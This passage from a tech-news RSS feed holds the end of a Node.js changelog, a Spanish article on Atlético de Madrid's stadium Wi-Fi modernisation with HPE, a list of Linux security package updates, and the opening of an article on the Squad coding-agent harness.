<li>[<a href="https://github.com/nodejs/node/commit/b1199c7bb4"><code>b1199c7bb4</code></a>] - <strong>test_runner</strong>: replace native methods with primordials (Ayoub Mabrouk) <a href="https://github.com/nodejs/node/pull/61219" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61219/hovercard">#61219</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ca20fc33d"><code>1ca20fc33d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: show interrupted test on SIGINT (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61676" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61676/hovercard">#61676</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/207ba4f89f"><code>207ba4f89f</code></a>] - <strong>test_runner</strong>: fix suite rerun (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/61775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61775/hovercard">#61775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9927335c11"><code>9927335c11</code></a>] - <strong>tls</strong>: forward keepAlive, keepAliveInitialDelay, noDelay to socket (Sergey Zelenov) <a href="https://github.com/nodejs/node/pull/62004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62004/hovercard">#62004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a1c3c901c0"><code>a1c3c901c0</code></a>] - <strong>tools</strong>: bump picomatch from 4.0.3 to 4.0.4 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62439" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62439/hovercard">#62439</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1c6f5ed7c2"><code>1c6f5ed7c2</code></a>] - <strong>tools</strong>: adopt the <code>--check-for-duplicates</code> NCU flag (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62478" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62478/hovercard">#62478</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b53377e8fe"><code>b53377e8fe</code></a>] - <strong>tools</strong>: bump flatted from 3.4.1 to 3.4.2 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62375" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62375/hovercard">#62375</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f102e79b80"><code>f102e79b80</code></a>] - <strong>tools</strong>: bump eslint deps (Huáng Jùnliàng) <a href="https://github.com/nodejs/node/pull/62356" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62356/hovercard">#62356</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f5d74f8216"><code>f5d74f8216</code></a>] - <strong>tools</strong>: add eslint-plugin-regexp (Huáng Jùnliàng) <a href="https://github.com/nodejs/node/pull/62093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62093/hovercard">#62093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc5b9a04ad"><code>bc5b9a04ad</code></a>] - <strong>tools</strong>: bump flatted from 3.3.3 to 3.4.1 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62255/hovercard">#62255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bad48b9700"><code>bad48b9700</code></a>] - <strong>tools</strong>: validate all commits that are pushed to <code>main</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62246" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62246/hovercard">#62246</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/795d663ff4"><code>795d663ff4</code></a>] - <strong>tools</strong>: keep GN files when updating Merve (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62167" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62167/hovercard">#62167</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0b6fa913f1"><code>0b6fa913f1</code></a>] - <strong>tools</strong>: revert timezone update GHA workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62140" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62140/hovercard">#62140</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/840e098e99"><code>840e098e99</code></a>] - <strong>tools</strong>: improve error handling in test426 update script (Rich Trott) <a href="https://github.com/nodejs/node/pull/62121" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62121/hovercard">#62121</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bd34e53a8e"><code>bd34e53a8e</code></a>] - <strong>tools</strong>: bump the eslint group across 1 directory with 2 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62092" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62092/hovercard">#62092</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54dc797644"><code>54dc797644</code></a>] - <strong>tools</strong>: fix daily wpt workflow nighly release version lookup (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62076" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62076/hovercard">#62076</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30476ddff7"><code>30476ddff7</code></a>] - <strong>tools</strong>: fix example in release proposal linter (Richard Lau) <a href="https://github.com/nodejs/node/pull/62074" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62074/hovercard">#62074</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5245900c05"><code>5245900c05</code></a>] - <strong>tools</strong>: bump minimatch from 3.1.3 to 3.1.5 in /tools/clang-format (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62013/hovercard">#62013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59ad1e4503"><code>59ad1e4503</code></a>] - <strong>tools</strong>: bump eslint to v10, babel to v8.0.0-rc.2 (Huáng Jùnliàng) <a href="https://github.com/nodejs/node/pull/61905" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61905/hovercard">#61905</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f93c4b287"><code>6f93c4b287</code></a>] - <strong>tools</strong>: fix parsing of commit trailers in <code>lint-release-proposal</code> GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62077" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62077/hovercard">#62077</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/de1bcfd54c"><code>de1bcfd54c</code></a>] - <strong>tools</strong>: bump minimatch from 3.1.2 to 3.1.3 in <code>/tools/clang-format</code> (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61977" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61977/hovercard">#61977</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/492868a7aa"><code>492868a7aa</code></a>] - <strong>tools</strong>: fix permissions for merve update script (Richard Lau) <a href="https://github.com/nodejs/node/pull/62023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62023/hovercard">#62023</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/774d0be1b3"><code>774d0be1b3</code></a>] - <strong>tools</strong>: revert tools GHA workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62024" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62024/hovercard">#62024</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d91a689d6f"><code>d91a689d6f</code></a>] - <strong>tools</strong>: bump minimatch from 3.1.2 to 3.1.3 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61976" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61976/hovercard">#61976</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34b6305933"><code>34b6305933</code></a>] - <strong>tools</strong>: roll back to x86 runner on <code>scorecard.yml</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61944" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61944/hovercard">#61944</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/937cd97a63"><code>937cd97a63</code></a>] - <strong>tools</strong>: fix auto-start-ci (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61900" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61900/hovercard">#61900</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0958f9a9c7"><code>0958f9a9c7</code></a>] - <strong>tools</strong>: do not checkout repo in <code>auto-start-ci.yml</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61874" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61874/hovercard">#61874</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c7607b9208"><code>c7607b9208</code></a>] - <strong>tools</strong>: automate updates for test/fixtures/test426 (Rich Trott) <a href="https://github.com/nodejs/node/pull/60978" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60978/hovercard">#60978</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00df3c1273"><code>00df3c1273</code></a>] - <strong>tools</strong>: bump unist-util-visit in /tools/doc in the doc group (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61646" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61646/hovercard">#61646</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe15b0d65e"><code>fe15b0d65e</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 6 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61628" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61628/hovercard">#61628</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc38db51fc"><code>bc38db51fc</code></a>] - <strong>tools</strong>: fix small inconsistencies in JSON doc output (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61757" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61757/hovercard">#61757</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e7010d47f"><code>3e7010d47f</code></a>] - <strong>tools</strong>: refloat 10 Node.js patches to cpplint.py (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60901/hovercard">#60901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/583e6c67ea"><code>583e6c67ea</code></a>] - <strong>tools</strong>: update cpplint to 2.0.2 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/60901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60901/hovercard">#60901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c12ab8abc"><code>4c12ab8abc</code></a>] - <strong>typings</strong>: rationalise TypedArray types (René) <a href="https://github.com/nodejs/node/pull/62174" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62174/hovercard">#62174</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8357ebfe54"><code>8357ebfe54</code></a>] - <strong>url</strong>: suppress warnings from url.format/url.resolve inside node_modules (René) <a href="https://github.com/nodejs/node/pull/62005" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62005/hovercard">#62005</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aad7b3cfca"><code>aad7b3cfca</code></a>] - <strong>url</strong>: enable simdutf for ada (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/61477" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61477/hovercard">#61477</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b28fb9812"><code>7b28fb9812</code></a>] - <strong>util</strong>: allow color aliases in styleText (sangwook) <a href="https://github.com/nodejs/node/pull/62180" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62180/hovercard">#62180</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8bbe0138ce"><code>8bbe0138ce</code></a>] - <strong>util</strong>: add fast path to stripVTControlCharacters (Hiroki Osame) <a href="https://github.com/nodejs/node/pull/61833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61833/hovercard">#61833</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7a408d6f7"><code>f7a408d6f7</code></a>] - <strong>wasm</strong>: support js string constant esm import (Guy Bedford) <a href="https://github.com/nodejs/node/pull/62198" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62198/hovercard">#62198</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a0316d33b5"><code>a0316d33b5</code></a>] - <strong>watch</strong>: get flags from execArgv (Efe) <a href="https://github.com/nodejs/node/pull/61779" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61779/hovercard">#61779</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eee96f7f5d"><code>eee96f7f5d</code></a>] - <strong>worker</strong>: heap profile optimizations (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/62201" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62201/hovercard">#62201</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/deeeb22e1a"><code>deeeb22e1a</code></a>] - <strong>worker</strong>: eliminate race condition in process.cwd() (giulioAZ) <a href="https://github.com/nodejs/node/pull/61664" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61664/hovercard">#61664</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b15ea64ed9"><code>b15ea64ed9</code></a>] - <strong>zlib</strong>: fix use-after-free when reset() is called during write (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62325/hovercard">#62325</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a9c5bd29c9"><code>a9c5bd29c9</code></a>] - <strong>zlib</strong>: add support for brotli compression dictionary (Andy Weiss) <a href="https://github.com/nodejs/node/pull/61763" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61763/hovercard">#61763</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Más allá del césped: así es la revolución digital del Atlético de Madrid ]]></title>
<description><![CDATA[En el fútbol de élite, la diferencia ya no se mide solo en el césped. La experiencia del aficionado, la eficiencia operativa o la capacidad de anticipar decisiones se juegan también en el terreno digital. En ese contexto, el Atlético de Madrid lleva años avanzando en una transformación tecnológic...]]></description>
<link>https://tsecurity.de/de/3486440/it-nachrichten/ms-all-del-cspedas-esla-revolucin-digital-del-atltico-de-madrid/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3486440/it-nachrichten/ms-all-del-cspedas-esla-revolucin-digital-del-atltico-de-madrid/</guid>
<pubDate>Mon, 04 May 2026 16:31:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>En el fútbol de élite, la diferencia ya no se mide solo en el césped. La experiencia del aficionado, la eficiencia operativa o la capacidad de anticipar decisiones se juegan también en el terreno digital. En ese contexto, el <strong>Atlético de Madrid</strong> lleva años avanzando en una transformación tecnológica que sitúa al club entre los referentes europeos en innovación aplicada al deporte. </p>



<p>La clave de esta evolución está en una idea clara: la tecnología no es un complemento, sino un eje estructural del modelo de negocio. “En nuestro club hay una apuesta clarísima por la inversión en tecnología desde el traslado al Riyadh Air Metropolitano”, explica <strong>René Abril Martín, director de Tecnología y Desarrollo Digital del Atlético de Madrid</strong>. </p>



<p>Ese punto de inflexión marcó el inicio de una estrategia en la que lo digital pasó a formar parte de los objetivos cada temporada. “La inversión inicial en tecnología en el estadio y la intención del club, basada en que la experiencia digital también acompañara a nuestros aficionados y visitantes no solo en los partidos de fútbol, sino también en el resto de los eventos que alberga nuestro estadio, fue clave en aquel momento. Desde entonces, la tecnología y el desarrollo digital están presentes en nuestros objetivos de cada temporada”, señala. </p>



<h2 class="wp-block-heading">El “corazón del club”: el aficionado </h2>



<p>La estrategia tecnológica del Atlético de Madrid tiene una prioridad clara: el aficionado. “Todas nuestras prioridades giran en torno a su experiencia, que siempre debe de ser excelente. Son el corazón del Atlético de Madrid, y también nuestro motor de crecimiento”, explica Abril. </p>



<p>Esa visión se combina con otras prioridades internas, como la eficiencia operativa, la seguridad de la red y el apoyo tecnológico a la estrategia ESG. “Actualmente estamos enfocados en reforzar la seguridad de la red, algo tan básico como clave. Todos nuestros servicios, tanto de experiencia de usuario como de empleado, corren por nuestra red multiservicio”, explica. En ese sentido, insiste en que la solidez de la red es un elemento crítico para sostener la experiencia digital. </p>



<p>En esta nueva realidad, el dato se ha convertido en un activo fundamental. “La cantidad de datos que se generan diariamente en un club de élite es ingente. Toda interacción en un entorno digital genera datos, y el análisis de dichos datos nos ayuda a comprender mejor qué está ocurriendo y, por tanto, cómo mejorar aún más la experiencia”, añade. </p>



<h2 class="wp-block-heading">Del estadio inteligente al estadio conectado </h2>



<p>Durante los últimos años, muchos clubes han hablado del estadio inteligente. Sin embargo, Abril pone el foco en una capa previa. “A mí me gusta pensar que el estadio conectado es clave y un paso previo, porque se basa en la infraestructura”, afirma. </p>



<p>Para el Atlético de Madrid, esa base es crítica en un entorno de alta densidad. “Sin una infraestructura bien diseñada, segura y con capacidades de escalar a las necesidades cada vez más altas de conectividad de servicios, esto es imposible de ejecutar en un recinto con más de 70.000 personas conectadas”, sostiene. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/Rene-Abril-Martin-CIO-del-Atletico-de-Madrid.jpg?quality=50&amp;strip=all&amp;w=1024" alt="René Abril Martín, director de Tecnología y Desarrollo Digital del Atlético de Madrid" class="wp-image-4166579" width="1024" height="714" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>René Abril Martín, director de Tecnología y Desarrollo Digital del Atlético de Madrid.</strong></p>
</figcaption></figure><p class="imageCredit">Atlético de Madrid</p></div>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>“Poder tener datos de la movilidad dentro del estadio y cómo los aficionados y el personal del club interactúan con nuestra infraestructura de red es muy valioso”</em></strong></p></blockquote></figure>



<p>La prioridad es clara y operativa: garantizar el rendimiento en los momentos críticos. “Nuestra prioridad número 1 es que nuestras redes puedan soportar esos picos de demanda. Que en esos momentos se asegure la conectividad de los usuarios finales y aficionados, pero también la de los servicios críticos, como <em>staff</em>, operaciones, <em>food and beverage”,</em> explica. “Todo lo demás viene después”. </p>



<h2 class="wp-block-heading">El Riyadh Air Metropolitano, una infraestructura preparada para una nueva etapa </h2>



<p>La evolución más visible de esta estrategia es el proyecto de modernización tecnológica del Riyadh Air Metropolitano junto a HPE Networking, que se desarrollará en dos fases durante las temporadas 2025/26 y 2026/27. Para el club, no se trata solo de actualizar tecnología. “Queremos ofrecer la mejor experiencia a nuestros aficionados. Sentimos que llevamos años ofreciendo unas comunicaciones óptimas en nuestro estadio, pero a la vez queremos incorporar todos los avances que la tecnología de redes ha traído desde su inauguración en 2017”, explica. </p>



<p>Estos años han servido al club para detectar y planificar casos de uso que eran complicados de ejecutar con tecnología de hace 10 años y que ahora los equipos de HPE sí ofrecen. “La primera es el entendimiento de la red. Las herramientas de HPE Networking Central y la información que ofrecen a nuestros ingenieros y administradores es alucinante. Incluso las capacidades que nos trae la Inteligencia Artificial que incluye esta plataforma nos hará entender aspectos de la red que ni siquiera estaban en nuestros requerimientos originales, pero que van a ser cruciales para mejorar”. </p>



<p>El despliegue contempla la renovación de la infraestructura inalámbrica con más de 1.500 puntos de acceso y la incorporación de tecnologías WiFi 6 y WiFi 7. “Nos van a ofrecer mucha más capacidad y estabilidad en un entorno con muchos dispositivos conectados simultáneamente. La reducción de latencia es otro de los beneficios que los aficionados van a disfrutar con el nuevo despliegue”, detalla Abril. Lo que se busca es mejorar la experiencia en tiempo real, especialmente en los momentos de mayor demanda. </p>



<p>Para HPE, el enfoque es estructural. “Cuando abordamos la renovación tecnológica de un estadio como el Riyadh Air Metropolitano no hablamos únicamente de sustituir equipamiento, sino de rediseñar la infraestructura digital sobre la que se apoyará toda la experiencia del recinto en los próximos años”, señala Álvaro Morán, director de HPE Networking. Para ello, añade Morán, “incorpora capacidades de optimización automática mediante inteligencia artificial, analítica de presencia y eficiencia energética. En otras palabras, la red deja de ser un elemento pasivo para convertirse en un sistema vivo”. </p>



<h2 class="wp-block-heading">IA, datos y eficiencia operativa </h2>



<p>Uno de los ejes del proyecto es su capacidad para generar inteligencia operativa. “El despliegue aporta nuevas funcionalidades en dos aspectos claves para las operaciones: información y comunicación”, explica Abril. </p>



<p>La red permitirá obtener datos sobre el comportamiento dentro del estadio. “Poder tener datos de la movilidad dentro del estadio y cómo los aficionados y el personal del club interactúan con nuestra infraestructura de red es muy valioso”, señala. </p>



<p>Esa información se traduce en herramientas concretas. “Nuestro equipo interno de análisis de datos se encarga de transformar todos esos datos en cuadros de mando que son de grandísima utilidad tanto durante los eventos como tras finalizar estos”, explica. “Nos permite tomar decisiones mejor informadas”. </p>



<p>La inteligencia artificial ya está integrada en ese ecosistema. “Los modelos basados en Inteligencia Artificial están incluidos prácticamente en cualquier tecnología, mejorando sustancialmente los procesos y la velocidad de respuesta”, afirma. </p>



<h2 class="wp-block-heading">El fútbol sigue estando en el césped </h2>



<p>Pese a la apuesta tecnológica, el Atlético de Madrid marca un límite claro. “Cualquier tecnología con la que contemos en el estadio o en el club no pretende redefinir la esencia de un partido”, afirma Abril. “Eso pasa en el césped, y todo el protagonismo está en el partido”. </p>



<p>La tecnología, en cambio, actúa en el entorno. “Toda esa experiencia alrededor de ese momento especial que es el comienzo de un partido cada vez es más conectada”. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/JI9A6581.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Atlético de Madrid" class="wp-image-4166581" width="1024" height="643" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Atlético de Madrid</p></div>



<h2 class="wp-block-heading">Más allá del fútbol </h2>



<p>Pero este modelo no se queda solo en el deporte, sino que se extiende a otros eventos. “Nosotros somos fútbol, evidentemente, pero cada vez tiene más peso en nuestra actividad el uso de nuestras sedes para albergar cualquier tipo de evento multitudinario que necesite grandes espacios y en el que el uso de la tecnología sea diferencial”, explica. </p>



<p>“Creo que esto último es una ventaja competitiva”, continúa.” Nadie quiere ir a un concierto si estar junto a otros 60.000 espectadores significa estar desconectado. Voy más allá, la experiencia en el concierto mejora si tienes la capacidad de compartir en directo lo que vives con la gente con la que quieres compartir esa emoción, o la de un gol que te da la victoria”. </p>



<p>Aun así, el objetivo final no cambia. “Nuestro objetivo no está tanto en el papel que queremos jugar como club, sino en que aficionados, visitantes y profesionales tengan siempre la mejor experiencia”. </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Monday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (kernel, libcap, libtiff, sudo, and thunderbird), Debian (dovecot, imagemagick, incus, kernel, libexif, linux-6.1, openjdk-25, pyasn1, python-aiohttp, and thunderbird), Fedora (chromium, firefox, GitPython, glibc, insight, krb5, nano, nss, openssh, o...]]></description>
<link>https://tsecurity.de/de/3486289/linux-tipps/security-updates-for-monday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3486289/linux-tipps/security-updates-for-monday/</guid>
<pubDate>Mon, 04 May 2026 15:41:39 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (kernel, libcap, libtiff, sudo, and thunderbird), <b>Debian</b> (dovecot, imagemagick, incus, kernel, libexif, linux-6.1, openjdk-25, pyasn1, python-aiohttp, and thunderbird), <b>Fedora</b> (chromium, firefox, GitPython, glibc, insight, krb5, nano, nss, openssh, openvpn, perl-CryptX, python3.14, rust-openssl, rust-openssl-sys, rust-sequoia-git, and xen), <b>Oracle</b> (dtrace, fence-agents, grafana-pcp, libcap, libtiff, sudo, and xorg-x11-server-Xwayland), <b>Red Hat</b> (buildah, fence-agents, firefox, java-11-openjdk with Extended Lifecycle Support, LibRaw, nodejs24, nodejs:24, openssh, python-pyasn1, resource-agents, thunderbird, tigervnc, xorg-x11-server, and xorg-x11-server-Xwayland), <b>Slackware</b> (mozilla), and <b>SUSE</b> (avahi, curl, freeipmi, freerdp, google-guest-agent, google-osconfig-agent, gvim, helm, himmelblau, java-1_8_0-openjdk, kernel, krb5-appl-clients, libsodium, libssh, libtiff-devel-32bit, ntfs-3g_ntfsprogs, openCryptoki, openexr, ovmf, PackageKit, python-jwcrypto, python-Mako, python-PyNaCl, python311, python311-pypdf, sed, trivy, and vim).]]></content:encoded>
</item>
<item>
<title><![CDATA[Harness teams of coding agents with Squad]]></title>
<description><![CDATA[At Kubecon Europe recently, Linux kernel maintainer Greg Kroah-Hartman said something that surprised me. After more than a year of AI-based pull requests and security reports that were worthless, living up to their nickname of “slop,” suddenly in the last month or so Kroah-Hartman discovered that...]]></description>
<link>https://tsecurity.de/de/3484631/ai-nachrichten/harness-teams-of-coding-agents-with-squad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3484631/ai-nachrichten/harness-teams-of-coding-agents-with-squad/</guid>
<pubDate>Mon, 04 May 2026 03:47:31 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>At Kubecon Europe recently, Linux kernel maintainer Greg Kroah-Hartman said something that surprised me. After more than a year of AI-based pull requests and security reports that were worthless, living up to their nickname of “slop,” suddenly in the last month or so Kroah-Hartman discovered that those reports had become useful. At the time he didn’t know why, but guessed it was the result of improved tools and a deeper understanding of how to use them.</p>



<p>Since then, of course, <a href="https://www.infoworld.com/article/4151806/leak-reveals-anthropics-mythos-a-powerful-ai-model-aimed-at-cybersecurity-use-cases-2.html?utm=hybrid_search">we’ve learned about Anthropic’s Claude Mythos</a> and seen the resulting scramble across closed-source and open-source projects to patch the significant bugs and issues Mythos has unveiled. The fixes and updates needed by large projects can be managed by their equally large teams, with corporate input as well as volunteers from around the world. But how do smaller projects deal with the rise in reported critical vulnerabilities, when they’re usually run by one or two people, often working in their spare time?</p>



<p>It’s a crisis of developer productivity. We need code that’s fixed and we need it now, but we don’t have enough skilled developers to deliver those fixes in the limited time available.</p>



<h2 class="wp-block-heading">Can agents solve the problem?</h2>



<p>Agent harnesses have become increasingly powerful tools, providing frameworks for orchestrating and managing teams of agents. General purpose tools like <a href="https://www.infoworld.com/article/4153975/understanding-the-risks-of-openclaw.html">OpenClaw</a> have proven to be particularly popular, though they can be expensive to run, with operations using up a substantial number of tokens across models and services. However, like most general purpose AI applications based on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language models</a> (LLMs), inaccuracies and hallucinations can affect outputs.</p>



<p>Even so, an approach like this that’s grounded both in a defined methodology and in a significant corpus of data could help us meet the sudden demand for increased developer productivity — using the structured nature of code and APIs as grounding and the combinations of skills that go into building a modern software development team and addressing the various aspects of the software development life cycle. </p>



<p>What’s needed is a way to take advantage of those tools to build on techniques like <a href="https://www.infoworld.com/article/4062524/spec-driven-ai-coding-with-githubs-spec-kit.html" data-type="link" data-id="https://www.infoworld.com/article/4062524/spec-driven-ai-coding-with-githubs-spec-kit.html">spec-driven development</a> and agent harnesses to provide developers with their own team of agents. Soon, agents may provide that force multiplier needed to keep ahead of AI red teams and at the same time help clear out large amount of technical debt.</p>



<h2 class="wp-block-heading">Here comes the Squad</h2>



<p>One interesting example of this approach is <a href="https://github.com/bradygaster/squad" data-type="link" data-id="https://github.com/bradygaster/squad">Squad</a>, an open-source project from <a href="https://www.linkedin.com/in/bradygaster/" data-type="link" data-id="https://www.linkedin.com/in/bradygaster/">Brady Gaster</a>, Principal PM Architect in the CoreAI Apps and Agents team at Microsoft. Squad builds an agent harness around GitHub Copilot, <a href="https://bradygaster.github.io/squad/">orchestrating a team of agents</a> to work on your code with you. Designed to be installed with a single CLI call, Squad creates agents to handle application development: a developer lead, a front-end developer, a back-end developer, and a test engineer. Other roles, like documentation, can also be managed by Squad.</p>



<p>The intent is to replicate the structure of a team building a web application, using natural language inputs to define the task, with the agent harness then coordinating Squad’s agents to build and test the necessary code. Gaster has made some interesting decisions as part of the tool’s architecture, such as requiring a separate agent to fix issues detected by another agent’s tests.</p>



<p>This approach is designed to prevent an agent from looping around the same set of statistically generated outputs. Instead, a new agent offers a new context window and a new set of seeds, allowing it to generate different solutions to the same inputs. Only then will Squad generate a pull request for human review. You the developer are still in the loop, but you’re the senior developer and architect to Squad’s team of junior engineers.</p>



